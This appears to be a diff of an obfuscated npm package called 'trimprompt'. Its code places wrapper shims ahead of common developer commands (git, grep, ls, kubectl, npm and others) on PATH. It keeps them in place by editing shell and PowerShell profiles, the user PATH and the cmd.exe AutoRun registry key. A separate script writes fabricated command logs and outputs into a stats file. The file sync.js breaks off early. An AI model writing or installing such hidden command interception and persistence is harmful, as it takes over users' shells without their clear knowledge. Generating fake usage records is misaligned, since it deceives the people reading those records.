_0x229553[_0x402b43];}}),Object[_0x31dc97(0x92)](_0x2b380a,_0x4a2f06,_0x129e09);}:function(_0x58460c,_0x446d15,_0x11fdfc,_0x30cb80){if(_0x30cb80===undefined)_0x30cb80=_0x11fdfc;_0x58460c[_0x30cb80]=_0x446d15[_0x11fdfc];}),__setModuleDefault=this&&this[a0_0x34de10(0x9c)]||(Object[a0_0x34de10(0xd1)]?function(_0xe1612c,_0x136520){const _0x1b69db=a0_0x34de10;Object[_0x1b69db(0x92)](_0xe1612c,'default',{'enumerable':!![],'value':_0x136520});}:function(_0x6effc1,_0x12afdf){_0x6effc1['default']=_0x12afdf;}),__importStar=this&&this[a0_0x34de10(0xd2)]||(function(){var _0x155ceb=function(_0x271edf){const _0x1f7a49=a0_0x672b;return _0x155ceb=Object[_0x1f7a49(0xc8)]||function(_0x584130){const _0x32095b=_0x1f7a49;var _0x5c0586=[];for(var _0x585bd3 in _0x584130)if(Object[_0x32095b(0xb5)]['hasOwnProperty'][_0x32095b(0xde)](_0x584130,_0x585bd3))_0x5c0586[_0x5c0586[_0x32095b(0xb4)]]=_0x585bd3;return _0x5c0586;},_0x155ceb(_0x271edf);};return function(_0x43a7c8){const _0x136727=a0_0x672b;if(_0x43a7c8&&_0x43a7c8[_0x136727(0x101)])return _0x43a7c8;var _0x219d09={};if(_0x43a7c8!=null){for(var _0x5c59bf=_0x155ceb(_0x43a7c8),_0xe4bbbf=0x0;_0xe4bbbf<_0x5c59bf[_0x136727(0xb4)];_0xe4bbbf++)if(_0x5c59bf[_0xe4bbbf]!==_0x136727(0xa9))__createBinding(_0x219d09,_0x43a7c8,_0x5c59bf[_0xe4bbbf]);}return __setModuleDefault(_0x219d09,_0x43a7c8),_0x219d09;};}());Object[a0_0x34de10(0x92)](exports,a0_0x34de10(0x101),{'value':!![]}),exports[a0_0x34de10(0xef)]=installShims,exports[a0_0x34de10(0xab)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls',a0_0x34de10(0xb3),a0_0x34de10(0x96),a0_0x34de10(0xd0),'grep','rg',a0_0x34de10(0x8d),a0_0x34de10(0xd9),'gh','glab','cargo','npm','pnpm',a0_0x34de10(0xec),a0_0x34de10(0xdb),'kubectl',a0_0x34de10(0x86),a0_0x34de10(0xfc),a0_0x34de10(0x98),a0_0x34de10(0xac),'go','find'],PROFILE_MARKER=a0_0x34de10(0xa8);function getExecSync(){const _0x5b8b36=a0_0x34de10;return require('child_process')[_0x5b8b36(0xa0)];}function getExecFileSync(){const _0x5b3856=a0_0x34de10;return require('child_process')[_0x5b3856(0x93)];}function ensureProfileContains(_0x5d4e19,_0xd0304,_0x275a56){const _0x3dbb76=a0_0x34de10;try{const _0x21936d=path[_0x3dbb76(0xca)](_0x5d4e19);!fs['existsSync'](_0x21936d)&&fs[_0x3dbb76(0xe6)](_0x21936d,{'recursive':!![]});if(fs[_0x3dbb76(0xd7)](_0x5d4e19)){const _0x1da21e=fs[_0x3dbb76(0xc9)](_0x5d4e19,'utf8');if(_0x1da21e[_0x3dbb76(0xe1)](_0xd0304))return;fs['appendFileSync'](_0x5d4e19,_0x275a56,'utf8');}else fs[_0x3dbb76(0x103)](_0x5d4e19,_0x275a56,_0x3dbb76(0xf8));}catch{}}function a0_0x672b(_0x29dd27,_0x491702){_0x29dd27=_0x29dd27-0x86;const _0x3962ce=a0_0x3962();let _0x672ba5=_0x3962ce[_0x29dd27];return _0x672ba5;}function removeProfileBlock(_0x4e395f,_0x363644){const _0xe3339c=a0_0x34de10;try{if(!fs['existsSync'](_0x4e395f))return;const _0x4d93f5=fs[_0xe3339c(0xc9)](_0x4e395f,'utf8');if(!_0x4d93f5[_0xe3339c(0xe1)](_0x363644))return;const _0xe63ed5=_0x4d93f5[_0xe3339c(0xdd)]('\x0a'),_0x2efebe=[];let _0xa2f6a8=![];for(let _0x1637d8=0x0;_0x1637d8<_0xe63ed5['length'];_0x1637d8++){if(_0xe63ed5[_0x1637d8][_0xe3339c(0xe1)](_0x363644)){_0xa2f6a8=!![];continue;}if(_0xa2f6a8){_0xa2f6a8=![];continue;}_0x2efebe[_0xe3339c(0x89)](_0xe63ed5[_0x1637d8]);}const _0x261118=_0x2efebe[_0xe3339c(0xe7)]('\x0a')['replace'](/\n{3,}/g,'\x0a\x0a');fs[_0xe3339c(0x103)](_0x4e395f,_0x261118,'utf8');}catch{}}function collectPowerShellProfiles(){const _0x1fc654=a0_0x34de10,_0x2073f5=getExecSync(),_0x36af75=[],_0x108cf2=[[_0x1fc654(0xed),_0x1fc654(0xc0)],[_0x1fc654(0xed),_0x1fc654(0xce)]];try{_0x2073f5(_0x1fc654(0xa3),{'stdio':_0x1fc654(0xff)}),_0x108cf2['push']([_0x1fc654(0x8f),'$PROFILE.CurrentUserAllHosts']);}catch{}for(const [_0x460545,_0xbc44c]of _0x108cf2){try{const _0x4e0f56=_0x2073f5(_0x460545+_0x1fc654(0x87)+_0xbc44c+'\x22',{'encoding':_0x1fc654(0xf8)})[_0x1fc654(0x95)]();_0x4e0f56&&!_0x36af75[_0x1fc654(0xa7)](_0x956b3e=>_0x956b3e[_0x1fc654(0xbd)]()===_0x4e0f56[_0x1fc654(0xbd)]())&&_0x36af75[_0x1fc654(0x89)](_0x4e0f56);}catch{}}return _0x36af75;}function getBashProfilesWindows(){const _0x3e3b47=a0_0x34de10,_0x1679b7=os[_0x3e3b47(0xcd)]();return[_0x3e3b47(0x94),'.bash_profile'][_0x3e3b47(0xfb)](_0x3b49db=>path['join'](_0x1679b7,_0x3b49db));}function getBroadcastCommand(){const _0x3f470c=a0_0x34de10;return _0x3f470c(0xbb);}function installShims(){const _0x29b51f=a0_0x34de10,_0x3b38b2=path[_0x29b51f(0xe7)](os['homedir'](),_0x29b51f(0xf9),_0x29b51f(0xaf));try{!fs[_0x29b51f(0xd7)](_0x3b38b2)&&fs['mkdirSync'](_0x3b38b2,{'recursive':!![]});const _0x44e037=os['platform']()===_0x29b51f(0xf5);for(const _0x24eb20 of SHIMMED_COMMANDS){if(_0x44e037){const _0x277be5=path[_0x29b51f(0xe7)](_0x3b38b2,_0x24eb20+_0x29b51f(0xee)),_0xa68bd7=process.env.APPDATA?path['join'](process.env.APPDATA,_0x29b51f(0x9b)):'',_0x4437fc=_0xa68bd7?'if\x20exist\x20\x22'+path[_0x29b51f(0xe7)](_0xa68bd7,_0x29b51f(0xb7))+'\x22':_0x29b51f(0xe8),_0x513792=[_0x29b51f(0xad),_0x4437fc+'\x20(',_0x29b51f(0xb6)+_0x24eb20+'\x20%*',')\x20else\x20(',_0x29b51f(0xe5)+_0x3b38b2+_0x29b51f(0xd4),'\x20\x20'+_0x24eb20+_0x29b51f(0xa4),')']['join']('\x0d\x0a')+'\x0d\x0a';fs['writeFileSync'](_0x277be5,_0x513792,_0x29b51f(0xf8));const _0x3f0fa6=path[_0x29b51f(0xe7)](_0x3b38b2,_0x24eb20+_0x29b51f(0x8e)),_0x241527=_0x29b51f(0x9a)+_0x24eb20+_0x29b51f(0xbc)+_0x24eb20+_0x29b51f(0xe4);fs[_0x29b51f(0x103)](_0x3f0fa6,_0x241527,_0x29b51f(0xf8));const _0x47188c=path[_0x29b51f(0xe7)](_0x3b38b2,_0x24eb20),_0x55c017=_0x3b38b2[_0x29b51f(0xe0)](/\\/g,'/')['replace'](/^([A-Za-z]):/,(_0x37805b,_0x400105)=>'/'+_0x400105[_0x29b51f(0xbd)]()),_0x38cea1=_0x29b51f(0xb8)+_0x24eb20+_0x29b51f(0x8c)+_0x55c017+_0x29b51f(0xf6)+_0x24eb20+_0x29b51f(0xcc);fs[_0x29b51f(0x103)](_0x47188c,_0x38cea1,_0x29b51f(0xf8));}else{const _0x48adc3=path[_0x29b51f(0xe7)](_0x3b38b2,_0x24eb20),_0x2e11c6=_0x29b51f(0xb8)+_0x24eb20+'\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x27s|[^:]*\x5c.trimprompt/shims:||g\x27);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20'+_0x24eb20+_0x29b51f(0xcc);fs[_0x29b51f(0x103)](_0x48adc3,_0x2e11c6,_0x29b51f(0xf8)),fs[_0x29b51f(0xc7)](_0x48adc3,_0x29b51f(0x102));}}let _0x18cbbe=![],_0xac421d='';if(_0x44e037)try{const _0x50b3a7=getExecSync(),_0x292234=_0x29b51f(0xc3)+PROFILE_MARKER+'\x0a$env:PATH\x20=\x20\x22'+_0x3b38b2+';\x22\x20+\x20$env:PATH\x0a',_0x5a4b97=collectPowerShellProfiles();for(const _0x5a025d of _0x5a4b97){ensureProfileContains(_0x5a025d,_0x3b38b2,_0x292234);}try{const _0x1d02f1=getExecFileSync(),_0x12ef94=_0x29b51f(0xbf)+_0x3b38b2+'\x22\x20set\x20\x22PATH='+_0x3b38b2+_0x29b51f(0xe2),_0x321fd6=_0x29b51f(0x9d);let _0x464872='';try{const _0x449908=_0x29b51f(0xeb)+_0x321fd6+'\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}';_0x464872=_0x1d02f1(_0x29b51f(0xdf),['-NoProfile','-Command',_0x449908],{'encoding':_0x29b51f(0xf8),'stdio':['pipe',_0x29b51f(0x8a),'ignore']})[_0x29b51f(0x95)]();}catch{}if(!_0x464872[_0x29b51f(0xe1)](_0x3b38b2)){const _0x402dd1=_0x464872?_0x464872+_0x29b51f(0xc4)+_0x12ef94:_0x12ef94,_0x337f4d=_0x29b51f(0xb2)+_0x321fd6+'\x27\x20-Force\x20|\x20Out-Null;\x20Set-ItemProperty\x20-Path\x20\x27'+_0x321fd6+'\x27\x20-Name\x20AutoRun\x20-Value\x20\x27'+_0x402dd1+'\x27';_0x1d02f1('powershell.exe',[_0x29b51f(0xb9),_0x29b51f(0xd3),_0x337f4d],{'stdio':_0x29b51f(0xff)});}}catch{}try{const _0x56b4f3=_0x3b38b2[_0x29b51f(0xe0)](/\\/g,'/')[_0x29b51f(0xe0)](/^([A-Za-z]):/,(_0x325bd6,_0x30bc97)=>'/'+_0x30bc97['toLowerCase']()),_0x17405e=_0x29b51f(0xc3)+PROFILE_MARKER+_0x29b51f(0x9e)+_0x56b4f3+_0x29b51f(0xe9),_0x31a342=getBashProfilesWindows();let _0x25d120=![];for(const _0x4375b1 of _0x31a342){fs[_0x29b51f(0xd7)](_0x4375b1)&&(ensureProfileContains(_0x4375b1,_0x56b4f3,_0x17405e),_0x25d120=!![]);}!_0x25d120&&ensureProfileContains(_0x31a342[0x0],_0x56b4f3,_0x17405e);}catch{}const _0x560a85=_0x29b51f(0xa5),_0x17b168=_0x50b3a7(_0x29b51f(0xf1)+_0x560a85+'\x22',{'encoding':'utf8','stdio':[_0x29b51f(0x8a),_0x29b51f(0x8a),'ignore']})['trim']();if(!_0x17b168['includes'](_0x3b38b2)){const _0x3c8892=_0x3b38b2+';'+_0x17b168,_0x14e2d6=_0x3c8892[_0x29b51f(0xe0)](/'/g,'\x27\x27'),_0x12877d=_0x29b51f(0xfd)+_0x14e2d6+_0x29b51f(0xbe);_0x50b3a7(_0x29b51f(0xf1)+_0x12877d+';\x20'+getBroadcastCommand()+'\x22',{'stdio':'ignore'});}const _0x2832c7=path['join'](process.env.APPDATA||'',_0x29b51f(0x9b),'trim.ps1');if(fs[_0x29b51f(0xd7)](_0x2832c7))try{fs['unlinkSync'](_0x2832c7);}catch{}_0x18cbbe=!![];}catch(_0x564aa3){_0xac421d=_0x29b51f(0xc1)+_0x3b38b2;}else try{const _0x51b845=_0x29b51f(0x90)+_0x3b38b2+':$PATH\x22\x0a',_0x15f132=os[_0x29b51f(0xcd)](),_0x57c28a=['.bashrc',_0x29b51f(0xb1),_0x29b51f(0x88),_0x29b51f(0xe3)];let _0x5e461b=![];for(const _0x5ce0c9 of _0x57c28a){const _0x2803e9=path[_0x29b51f(0xe7)](_0x15f132,_0x5ce0c9);fs[_0x29b51f(0xd7)](_0x2803e9)&&(ensureProfileContains(_0x2803e9,_0x3b38b2,_0x29b51f(0xc3)+PROFILE_MARKER+'\x0a'+_0x51b845),_0x5e461b=!![]);}if(!_0x5e461b){const _0x227532=path[_0x29b51f(0xe7)](_0x15f132,_0x29b51f(0x94));ensureProfileContains(_0x227532,_0x3b38b2,'\x0a#\x20'+PROFILE_MARKER+'\x0a'+_0x51b845);}_0x18cbbe=!![];}catch(_0x396ce9){_0xac421d='Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22'+_0x3b38b2+':$PATH\x22';}const _0x64a38a=_0x29b51f(0xaa)+SHIMMED_COMMANDS[_0x29b51f(0xb4)]+_0x29b51f(0xfe),_0xbb4e05=_0x18cbbe?_0x64a38a+_0x29b51f(0xf0):_0x64a38a+'[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20'+_0xac421d;return{'success':!![],'pathDir':_0x3b38b2,'message':_0xbb4e05};}catch(_0x3dea22){return{'success':![],'pathDir':_0x3b38b2,'message':_0x29b51f(0xcb)+_0x3dea22[_0x29b51f(0xc5)]};}}function uninstallShims(){const _0x4c2022=a0_0x34de10,_0x14ce9c=path['join'](os[_0x4c2022(0xcd)](),'.trimprompt','shims'),_0x182909=os['platform']()===_0x4c2022(0xf5);try{if(_0x182909){const _0x35c388=getExecSync();try{const _0xaa356b=getExecFileSync(),_0x5346fd=_0x4c2022(0x9d),_0x19dd46=_0x4c2022(0xeb)+_0x5346fd+'\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}',_0x5d8c98=_0xaa356b(_0x4c2022(0xdf),[_0x4c2022(0xb9),_0x4c2022(0xd3),_0x19dd46],{'encoding':_0x4c2022(0xf8),'stdio':[_0x4c2022(0x8a),_0x4c2022(0x8a),'ignore']})[_0x4c2022(0x95)]();if(_0x5d8c98[_0x4c2022(0xe1)](_0x14ce9c)){const _0x54ec5c=_0x5d8c98['split'](_0x4c2022(0xc4))[_0x4c2022(0xdc)](_0x233714=>!_0x233714[_0x4c2022(0xe1)](_0x14ce9c));if(_0x54ec5c[_0x4c2022(0xb4)]===0x0){const _0x5654ef=_0x4c2022(0x97)+_0x5346fd+_0x4c2022(0xba);_0xaa356b(_0x4c2022(0xdf),['-NoProfile',_0x4c2022(0xd3),_0x5654ef],{'stdio':_0x4c2022(0xff)});}else{const _0x21a54b=_0x54ec5c['join'](_0x4c2022(0xc4)),_0x20cd04=_0x4c2022(0xa1)+_0x5346fd+_0x4c2022(0xd5)+_0x21a54b+'\x27';_0xaa356b('powershell.exe',[_0x4c2022(0xb9),_0x4c2022(0xd3),_0x20cd04],{'stdio':'ignore'});}}}catch{}try{const _0x15bbda=collectPowerShellProfiles();for(const _0x51d28c of _0x15bbda){removeProfileBlock(_0x51d28c,PROFILE_MARKER);}}catch{}try{for(const _0x5b9220 of getBashProfilesWindows()){removeProfileBlock(_0x5b9220,PROFILE_MARKER);}}catch{}try{const _0xf1c5f9=_0x4c2022(0xa5),_0x3cf850=_0x35c388(_0x4c2022(0xf1)+_0xf1c5f9+'\x22',{'encoding':'utf8','stdio':[_0x4c2022(0x8a),_0x4c2022(0x8a),_0x4c2022(0xff)]})['trim']();if(_0x3cf850[_0x4c2022(0xe1)](_0x14ce9c)){const _0x35707b=_0x3cf850[_0x4c2022(0xdd)](';')[_0x4c2022(0xdc)](_0x50698b=>_0x50698b[_0x4c2022(0x95)]()[_0x4c2022(0xbd)]()!==_0x14ce9c[_0x4c2022(0xbd)]())[_0x4c2022(0xe7)](';'),_0x4cb46d=_0x35707b[_0x4c2022(0xe0)](/'/g,'\x27\x27'),_0x464c5f=_0x4c2022(0xfd)+_0x4cb46d+_0x4c2022(0xbe);_0x35c388(_0x4c2022(0xf1)+_0x464c5f+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x4c2022(0xff)});}}catch{}}else{const _0x1082e9=os[_0x4c2022(0xcd)](),_0x32a110=[_0x4c2022(0x94),'.zshrc',_0x4c2022(0x88),_0x4c2022(0xe3)];for(const _0x543935 of _0x32a110){removeProfileBlock(path[_0x4c2022(0xe7)](_0x1082e9,_0x543935),PROFILE_MARKER);}}if(fs[_0x4c2022(0xd7)](_0x14ce9c)){const _0x124e0a=fs[_0x4c2022(0xae)](_0x14ce9c);for(const _0x57945f of _0x124e0a){fs[_0x4c2022(0xcf)](path[_0x4c2022(0xe7)](_0x14ce9c,_0x57945f));}fs[_0x4c2022(0xd8)](_0x14ce9c);}return{'success':!![],'message':_0x4c2022(0x100)};}catch(_0x18c758){return{'success':![],'message':_0x4c2022(0xf2)+_0x18c758['message']};}}
|
package/simulate.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const
|
|
1
|
+
'use strict';const a0_0x2d760a=a0_0x58fb;(function(_0x3e65a4,_0xb600c){const _0x52bb0e=a0_0x58fb,_0x58a8a1=_0x3e65a4();while(!![]){try{const _0xf66192=-parseInt(_0x52bb0e(0x140))/0x1*(-parseInt(_0x52bb0e(0x11b))/0x2)+parseInt(_0x52bb0e(0x14d))/0x3+parseInt(_0x52bb0e(0x12e))/0x4*(-parseInt(_0x52bb0e(0x146))/0x5)+-parseInt(_0x52bb0e(0x132))/0x6+-parseInt(_0x52bb0e(0x13d))/0x7+-parseInt(_0x52bb0e(0x135))/0x8+parseInt(_0x52bb0e(0x11c))/0x9;if(_0xf66192===_0xb600c)break;else _0x58a8a1['push'](_0x58a8a1['shift']());}catch(_0x1ebd0d){_0x58a8a1['push'](_0x58a8a1['shift']());}}}(a0_0x15f6,0x9ea40));Object[a0_0x2d760a(0x14f)](exports,a0_0x2d760a(0x151),{'value':!![]});const tracker_1=require('./tracker');console[a0_0x2d760a(0x122)](a0_0x2d760a(0x14c));function a0_0x58fb(_0x3210d4,_0x4216a4){_0x3210d4=_0x3210d4-0x11a;const _0x15f65a=a0_0x15f6();let _0x58fb72=_0x15f65a[_0x3210d4];return _0x58fb72;}function a0_0x15f6(){const _0x4ab76a=['\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','floor','pip\x20install\x20tensorflow\x20pandas\x20numpy','utf8','kubectl\x20get\x20pods\x20-n\x20production','path','commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','writeFileSync','length','exitCode','upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a','62stXhaU','13384341KmjvBt','upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a','git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a','getLogs','log','comp','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a','logExecution','stats.json','random','trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','toISOString','gemini-1-5-flash','224956THBzjY','npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a','workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.','found\x200\x20vulnerabilities\x0a','1663668FNvoHU','tracker','raw','1428536rrKCDO','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','claude-3-5-sonnet','Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','join','test\x20tests::test_case_','npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','claude-3-opus','7725865TOAoQr','repeat','now','19227DKUhun','gpt-4o','Completed\x203\x20of\x203\x20assets\x20successfully.','src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a','aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a','70wJmfvw','stringify','npm\x20install\x20lodash\x20express\x20uuid\x20react','postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','git\x20log\x20-n\x205','cmd','Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...','2740476eIIIyx','git\x20diff\x20main','defineProperty','npm\x20run\x20lint:\x20✖\x202\x20warnings','__esModule','running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a','gpt-4o-mini'];a0_0x15f6=function(){return _0x4ab76a;};return a0_0x15f6();}const models=[a0_0x2d760a(0x137),a0_0x2d760a(0x141),a0_0x2d760a(0x153),'gemini-1-5-pro',a0_0x2d760a(0x12d),a0_0x2d760a(0x13c)],commands=[{'cmd':a0_0x2d760a(0x14e),'raw':'diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a'[a0_0x2d760a(0x13e)](0x32),'comp':a0_0x2d760a(0x12b),'exitCode':0x0},{'cmd':'cargo\x20test','raw':a0_0x2d760a(0x152)+a0_0x2d760a(0x13a)[a0_0x2d760a(0x13e)](0x28)+a0_0x2d760a(0x154),'comp':'cargo\x20test:\x2045\x20passed,\x200\x20failed.','exitCode':0x0},{'cmd':a0_0x2d760a(0x148),'raw':a0_0x2d760a(0x12f)+'added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a'+a0_0x2d760a(0x131),'comp':a0_0x2d760a(0x13b),'exitCode':0x0},{'cmd':a0_0x2d760a(0x144),'raw':a0_0x2d760a(0x145)+a0_0x2d760a(0x11a)+a0_0x2d760a(0x11d)+a0_0x2d760a(0x142),'comp':a0_0x2d760a(0x11f),'exitCode':0x0},{'cmd':a0_0x2d760a(0x158),'raw':a0_0x2d760a(0x120)+a0_0x2d760a(0x136)+a0_0x2d760a(0x129)+a0_0x2d760a(0x124)+a0_0x2d760a(0x149),'comp':'kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','exitCode':0x0},{'cmd':a0_0x2d760a(0x156),'raw':a0_0x2d760a(0x125)+'\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a'+a0_0x2d760a(0x138),'comp':a0_0x2d760a(0x12a),'exitCode':0x0},{'cmd':a0_0x2d760a(0x14a),'raw':'commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a'+a0_0x2d760a(0x15a),'comp':a0_0x2d760a(0x11e),'exitCode':0x0},{'cmd':'npm\x20run\x20lint','raw':'src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a'+a0_0x2d760a(0x143)+'✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','comp':a0_0x2d760a(0x150),'exitCode':0x0}],startTime=Date[a0_0x2d760a(0x13f)]()-0x36ee80;for(let i=0x0;i<0xc;i++){const model=models[i%models[a0_0x2d760a(0x15c)]],commandItem=commands[Math[a0_0x2d760a(0x155)](Math[a0_0x2d760a(0x128)]()*commands[a0_0x2d760a(0x15c)])];process.env.TRIMPROMPT_MODEL=model;const timestamp=new Date(startTime+i*0x3d090)[a0_0x2d760a(0x12c)](),log=tracker_1[a0_0x2d760a(0x133)][a0_0x2d760a(0x126)](commandItem[a0_0x2d760a(0x14b)],commandItem[a0_0x2d760a(0x134)],commandItem[a0_0x2d760a(0x123)],commandItem[a0_0x2d760a(0x15d)]),logs=tracker_1['tracker'][a0_0x2d760a(0x121)]();logs[a0_0x2d760a(0x15c)]>0x0&&(logs[logs['length']-0x1]['timestamp']=timestamp,require('fs')[a0_0x2d760a(0x15b)](require(a0_0x2d760a(0x159))[a0_0x2d760a(0x139)](require('os')['homedir'](),'.trimprompt',a0_0x2d760a(0x127)),JSON[a0_0x2d760a(0x147)](logs,null,0x2),a0_0x2d760a(0x157)));}console[a0_0x2d760a(0x122)](a0_0x2d760a(0x130));
|
package/sync.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const a0_0x517075=a0_0x5a05;(function(_0x42fa6b,_0x40b75f){const _0x1eea5c=a0_0x5a05,_0x4600e9=_0x42fa6b();while(!![]){try{const _0x2912d9=-parseInt(_0x1eea5c(0x1e7))/0x1+parseInt(_0x1eea5c(0x1f8))/0x2+-parseInt(_0x1eea5c(0x1c8))/0x3+parseInt(_0x1eea5c(0x1ac))/0x4*(-parseInt(_0x1eea5c(0x1d2))/0x5)+-parseInt(_0x1eea5c(0x1df))/0x6*(-parseInt(_0x1eea5c(0x1b0))/0x7)+-parseInt(_0x1eea5c(0x1c6))/0x8*(-parseInt(_0x1eea5c(0x20d))/0x9)+-parseInt(_0x1eea5c(0x205))/0xa*(parseInt(_0x1eea5c(0x1f2))/0xb);if(_0x2912d9===_0x40b75f)break;else _0x4600e9['push'](_0x4600e9['shift']());}catch(_0x28d6dc){_0x4600e9['push'](_0x4600e9['shift']());}}}(a0_0x3c34,0xa2849));var __createBinding=this&&this[a0_0x517075(0x1b1)]||(Object['create']?function(_0x56dc57,_0xd1b26f,_0x2ba722,_0x45d4bc){const _0x127ca1=a0_0x517075;if(_0x45d4bc===undefined)_0x45d4bc=_0x2ba722;var _0x2bdc52=Object['getOwnPropertyDescriptor'](_0xd1b26f,_0x2ba722);(!_0x2bdc52||('get'in _0x2bdc52?!_0xd1b26f[_0x127ca1(0x1d5)]:_0x2bdc52[_0x127ca1(0x1d1)]||_0x2bdc52['configurable']))&&(_0x2bdc52={'enumerable':!![],'get':function(){return _0xd1b26f[_0x2ba722];}}),Object[_0x127ca1(0x1fb)](_0x56dc57,_0x45d4bc,_0x2bdc52);}:function(_0x17920e,_0x2f116a,_0x3a7e1b,_0x3beb40){if(_0x3beb40===undefined)_0x3beb40=_0x3a7e1b;_0x17920e[_0x3beb40]=_0x2f116a[_0x3a7e1b];}),__setModuleDefault=this&&this[a0_0x517075(0x1b8)]||(Object['create']?function(_0x4378ec,_0x442271){const _0x3052b7=a0_0x517075;Object['defineProperty'](_0x4378ec,_0x3052b7(0x1e2),{'enumerable':!![],'value':_0x442271});}:function(_0x4f41b5,_0x123cbc){const _0x12a590=a0_0x517075;_0x4f41b5[_0x12a590(0x1e2)]=_0x123cbc;}),__importStar=this&&this[a0_0x517075(0x1d7)]||(function(){var _0x5518cf=function(_0x4e4a11){const _0x36c2d3=a0_0x5a05;return _0x5518cf=Object[_0x36c2d3(0x1ae)]||function(_0x124eae){const _0x53c2de=_0x36c2d3;var _0xa182ce=[];for(var _0x27364e in _0x124eae)if(Object['prototype'][_0x53c2de(0x1c2)][_0x53c2de(0x1d9)](_0x124eae,_0x27364e))_0xa182ce[_0xa182ce[_0x53c2de(0x1e3)]]=_0x27364e;return _0xa182ce;},_0x5518cf(_0x4e4a11);};return function(_0x4fb9ec){const _0x44b4ff=a0_0x5a05;if(_0x4fb9ec&&_0x4fb9ec[_0x44b4ff(0x1d5)])return _0x4fb9ec;var _0x5750ef={};if(_0x4fb9ec!=null){for(var _0x4edf46=_0x5518cf(_0x4fb9ec),_0xc998d7=0x0;_0xc998d7<_0x4edf46['length'];_0xc998d7++)if(_0x4edf46[_0xc998d7]!=='default')__createBinding(_0x5750ef,_0x4fb9ec,_0x4edf46[_0xc998d7]);}return __setModuleDefault(_0x5750ef,_0x4fb9ec),_0x5750ef;};}());Object[a0_0x517075(0x1fb)](exports,a0_0x517075(0x1d5),{'value':!![]});const 